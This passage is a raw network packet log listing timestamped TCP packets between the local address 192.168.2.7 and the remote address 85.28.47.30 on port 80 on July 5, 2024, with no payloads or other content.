Jul 5, 2024 06:23:06.865613937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.865627050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.865637064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.865648031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.865681887 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.865750074 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.938786983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939002037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939013004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939023972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939033985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939044952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939055920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939068079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939080000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939090967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939093113 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939093113 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939101934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939126968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939127922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939127922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939145088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939156055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939156055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939165115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939176083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939187050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939188957 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939188957 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939201117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939213991 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939220905 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939224958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939244032 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939249039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939256907 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939260960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939273119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939282894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939296007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939301014 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939305067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939316034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939325094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939328909 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939341068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939342022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939353943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939359903 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939373016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939384937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939393997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939395905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939408064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939409018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939419985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939431906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939435959 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939445019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939455986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939466000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939472914 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939472914 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939477921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939488888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939496040 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939502001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939512014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.939527035 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939527035 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.939557076 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.947947979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.948009968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.948019981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.948035955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.948050976 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.948062897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.948101997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.948131084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.948143959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.948268890 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.948268890 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:06.948306084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.948316097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:06.948354959 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.021648884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021704912 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.021830082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021841049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021846056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021857023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021867037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021878004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021888971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021891117 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.021898985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021910906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021917105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.021922112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021940947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.021948099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021969080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021969080 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.021980047 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.021981955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.021992922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.021995068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.022006989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.022017002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.022027969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.022032022 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.022032022 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.022039890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.022051096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.022062063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.022069931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.022069931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.022070885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.022083998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.022094965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.022094965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.022104025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.022114992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.022119999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.022130013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.022164106 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030201912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030296087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030303955 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030307055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030318022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030329943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030342102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030371904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030405045 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030467033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030486107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030499935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030510902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030522108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030531883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030533075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030549049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030558109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030560970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030575037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030585051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030601025 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030601025 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030602932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030632019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030642986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030648947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030653000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030663013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030663967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030677080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030687094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030689955 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030700922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030702114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030724049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030726910 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030735016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030745029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030759096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030767918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030775070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030775070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030780077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030791044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030802965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030802965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030821085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030831099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030833960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030833960 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030848026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030858994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030868053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.030870914 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030913115 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.030913115 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.032692909 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032701969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032711983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032721043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032735109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032743931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032754898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032753944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.032766104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032777071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032788038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032799006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032809019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032810926 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.032810926 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.032819033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032831907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032843113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032867908 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.032867908 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.032885075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032887936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.032906055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032911062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032915115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032917023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032919884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032936096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032944918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032953978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032960892 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.032960892 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.032967091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032978058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032988071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.032994986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.032996893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033003092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033014059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033016920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.033023119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033037901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033046961 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.033046961 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.033057928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033070087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033080101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033081055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.033081055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.033091068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033104897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033114910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033119917 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.033124924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033140898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.033143997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.033143997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.033219099 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.104831934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.104844093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.104859114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.104868889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.104880095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.104974031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.104974031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.109836102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.109853029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.109863997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.109874010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.109884977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.109915018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.109966040 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.111623049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.111641884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.111651897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.111669064 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.111694098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.111706018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.111706018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.111732006 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.111773968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.115343094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115354061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115365028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115375996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115386963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115421057 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.115463018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.115508080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115529060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115540981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115551949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115561962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115571976 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.115572929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115583897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115595102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115597010 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.115607023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115612030 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.115618944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115629911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115634918 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.115643978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115649939 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.115658045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115669012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115679026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115688086 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.115688086 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.115689039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.115706921 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.115737915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.123464108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123473883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123488903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123498917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123508930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123528957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123538017 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.123539925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123558044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123573065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.123573065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.123636961 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.123811960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123843908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123852968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123941898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123945951 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.123953104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123965025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123975039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.123986006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124003887 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124003887 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124037027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124041080 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124042034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124048948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124059916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124070883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124080896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124080896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124103069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124115944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124118090 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:07.124125004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:07.124136925 CEST	80	49699	85.28.47.30	192.168.2.7
